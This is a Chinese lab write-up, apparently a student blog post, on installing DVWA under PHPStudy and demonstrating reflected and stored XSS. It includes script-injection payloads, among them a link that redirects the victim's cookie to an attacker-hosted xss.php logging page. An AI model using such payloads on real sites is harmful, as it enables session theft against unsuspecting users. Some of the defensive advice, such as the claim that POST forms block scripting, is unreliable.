首页 > 其他分享 >XSS跨站脚本攻击以及配置DWVA环境

XSS跨站脚本攻击以及配置DWVA环境

时间:2023-11-26 10:12:48浏览次数:27  
标签:XSS 跨站 攻击 DWVA 点击 Cookie php 输入

一. 实验目的

  • 了解XSS漏洞的攻击原理及相关知识
  • 能够进行简单的攻击分析

 dwva下载链接:https://pan.baidu.com/s/10OEyN_r7cZ-IP_bgKIERAA?pwd=lj91 
提取码:lj91

二. 实验环境

Win7虚拟机

三. 实验工具

VMWare、、PHPStudy、DVWA

四. 实验步骤

反射型XSS跨站脚本攻击

  1. 打开windows Server2016,安装PHPStudy
  2. 打开安装的PHPStudy,开启Apache和MySQL服务

 

  • 下载DVWA,解压,放在PHPStudy的www目录下

 

  • 打开DVWA的config配置文件,选中inc.php.dist文件,用记事本打开

 

  • 将文件中的数据库名字和密码改成root,并保存

  • 复制文件,将文件名字变成inc.php,修改成php后缀

 

解决爆红错误  原文链接:https://blog.csdn.net/m0_68012373/article/details/128053192

第一个错误:表示没有开启PHP url_include模块。

 

解决方法:1)找到你PHPstudy的安装目录。

 

               2)进入Extensionsphp。

 

              3)找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On。4)然后保存,重启PHPstudy,错误得到解决。

 

第二个错误:表示缺少了验证码的key。

 

解决方法:编辑 dvwa/config/config.inc.php这个配置文件,找到以下代码把key填上就行了。

 

$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';

 

$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

 

key也可以自己生成,地址是:https://www.google.com/recaptcha/admin/create

 

最后一个,点击最下面的那个“Create/Reset Database”按钮创建数据库,如果创建成功则表示如下结果,点击最下面的login进入登录界面

  • 点击后,跳转到登录界面,输入默认用户名和密码admmin \ password,点击登录

 

 

 

 

 

 

 

 

 

 

 

 

9、修改DVWA的安全等级为low,如下图

 

10、进入XSS反射漏洞的网站,点击侧边栏的XSS(Reflected)

 

11、输入测试,在文本框中填入 test,点击提交,说明这个网页是将用户提交的信息发送给用户

 

可以看到我们输入的值被放在url地址中以get的方法进行提交,可以尝试进行XSS反射攻击。

12、点击下方的view source,可以看到相关PHP代码,可以看到代码中没有对特殊字符进行过滤。

 

13、在文本框中插入html标签,尝试js弹窗 在文本框中输入<script>alert('xss')</script>,可以看到网页弹出了一个弹窗。说明网站可以进行XSS攻击。且url地址对我们输入的值进行了编码处理。提交完成后刷新界面。发现页面回复正常,说明之前输入的信息没有保存,是非持久性的跨站脚本漏洞,

 

14、此时可以进行一些有意义的攻击,如盗取用户的Cookie。构造恶意链接,盗取用户的Cookie值。

  • 编写php文件,放在www文件目录下。同时创建cookie.txt空文件,也放在此目录下。

 

xss.php文件:

15、在网页中构造恶意链接,点击提交

<script>document.location='http://攻击者的IP地址(这里我们填入127.0.0.1)/xss.php?cookie=' +document.cookie;</script>

即为

<script>document.location='http://127.0.0.1/xss.php?cookie=' +document.cookie;</script>

 

16、提交完成后,网页跳出我们编写的提示界面

 

17、查看用户cookie是否拿到。打开cookie.txt文件,可以看到Cookie成功拿到

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

【存储型XSS攻击】

1、点击左侧菜单栏的XSS(stored)填入信息,如图所示,点击Sign Guestbook

 

  • 点击View Source,可以看到网页允许用户存储的信息没有被过滤就直接存储在数据库中。

 

  • 进行攻击测试,按下图所示输入

Name文本框中输入 Test ; Message文本框中输入 <script>alert(/XSS/)</script>

点击sign按钮。

可以看到url地址中没有我们输入的值,但是弹窗成功弹出,我们暂定可以进行XSS存储攻击。当我们刷新界面时,就会弹出弹窗。之前的信息被保存在数据库中。

 

 

五. 实验感想(总结、对实验的讨论、不足之处......)

【总结参考】

通过这次实验,让我掌握了xss的攻击原理以及防范手段

 

 

六、实验思考

1、XSS攻击的原理?

XSS攻击,全称为Cross-site script,跨站脚本攻击,是Web程序中常见的漏洞。攻击者向有XSS漏洞的网站中输入恶意的HTML代码,当其他用户浏览该网站时,该段HTML代码会自动执行,从而达到攻击的目的,如盗取用户的Cookie,破坏页面结构,重定向到其他网站等。

2、目前市面上常用的漏洞扫描工具有哪些?

目前市面上常用的漏洞扫描工具包括OpenVAS、Nessus、Tripwire IP360、Nmap等。

3、可以使用哪些方法来防范XSS跨站脚本攻击?

  1. 防堵跨站漏洞:对于用户提交的所有内容,应进行详细的检查和过滤,尤其是对于任何外部输入的变量和字符串。可以对其进行长度检查,并对特殊字符如"<",">",";","'"等做过滤。在将任何内容写入页面之前,应对其进行编码,以避免不小心将HTML标签弄出来。
  2. Cookie防盗:首先,避免在Cookie中直接泄露用户隐私信息,如email、密码等。其次,通过使Cookie和系统IP绑定来降低Cookie泄露后的危险。这样,即使攻击者获取了Cookie,也无法将其用于重放攻击。
  3. 使用POST而非GET提交表单:POST操作不可能绕过javascript的使用,这会给攻击者增加难度,减少可利用的跨站漏洞。
  4. 严格检查HTTP Referer:检查HTTP Referer是否来自预料中的URL。这会大大增加攻击者的麻烦。

标签:XSS,跨站,攻击,DWVA,点击,Cookie,php,输入
From: https://www.cnblogs.com/cll-wlaq/p/17856564.html

相关文章

  • XSS基本入门
    xss简单介绍xss概念跨站脚本攻击(CrossSiteScripting),为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户目的。xss危......
  • 防止XSS(跨站脚本攻击)漏洞
    点击查看代码-输入验证和过滤:对于用户输入的数据,进行严格的验证和过滤。可以使用正则表达式或其他验证方式,确保输入的数据符合预期的格式和内容。同时,对于特殊字符进行转义处理,防止恶意代码的注入。-输出编码:在将用户输入的内容输出到页面上时,进行正确的编码处理。使用合适......
  • CSP: Content-Security-Policy详解应对XSS攻击
    https://www.jianshu.com/p/74ea9f0860d2 CSP:Content-Security-Policy详解 前言跨域脚本攻击(XSS)是最常见、危害最大的网页安全漏洞。为了防止它,要采取很多编程措施(比如大多数人都知道的转义、过滤HTML)。很多人提出,能不能根本上解决问题,即浏览器自动禁止外部注入恶意脚......
  • [转]SSH框架 Struts2 过滤特殊字符,防止xss攻击
    原文地址:基于Struts2修复XSS漏洞(博主验证有效)_struts2xss-CSDN博客1.编写XssFilterimportjava.io.IOException;importjavax.servlet.Filter;importjavax.servlet.FilterChain;importjavax.servlet.FilterConfig;importjavax.servlet.ServletException;importjavax.servl......
  • 什么是xss攻击
    1.概念XSS攻击指的是跨站脚本攻击,是一种代码注入攻击。攻击者通过在网站注入恶意脚本,使之在用户的浏览器上运行,从而盗取用户的信息如cookie等。XSS的本质是因为网站没有对恶意代码进行过滤,与正常的代码混合在一起了,浏览器没有办法分辨哪些脚本是可信的,从而导致了恶意代码的执......
  • Web漏洞-XSS实验-pikachu靶场5个场景(二)
    ★★实战前置声明★★文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。1、前言上一篇《Web漏洞-XSS理论和靶场小试牛刀(一)》已经介绍了XSS一些理论知识点,本文主要是分享p......
  • 冷门攻击手法之跨站式追踪攻击
    漏洞简介XST的全称是Cross-SiteTracing,中文译作“跨站式追踪攻击”。具体而言,是客户端发 TRACE/TRACK 请求至服务器,如果服务器按照标准实现了TRACE/TRACK响应,则在responsebody里会返回此次请求的完整头信息。通过这种方式,客户端可以获取某些敏感的header字段,例如......
  • 漏扫 X-Content-Type-Options X-XSS-Protection Strict-Transport-Security X-Fram
    web应用nginx部署未设置头部,导致可能出现安全问题【未设置X-Content-Type-Options响应头】【未设置X-XSS-Protection响应头】【未设置Strict-Transport-Security响应头】【X-Frame-Options头未设置】 Content-Type(内容类型),一般是指网页中存在的Content-Type,用于定义网络文......
  • 什么是 XSS 攻击,如何避免?
    XSS攻击也是比较常见,XSS,叫跨站脚本攻击(Cross-SiteScripting),因为会与层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,因此有人将跨站脚本攻击缩写为XSS。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览网页的时候,嵌入其中Web里面的html代码会被执行,从而......
  • XSS攻击
    XSS:跨站脚本工具  1.可以获取用户的cookion信息等  2.盗取用户信息防御方式: 1.服务器对用户提交的内容进行过滤或编码  2.编码:对危险的标签进行HTML实体编码,(js脚本) ......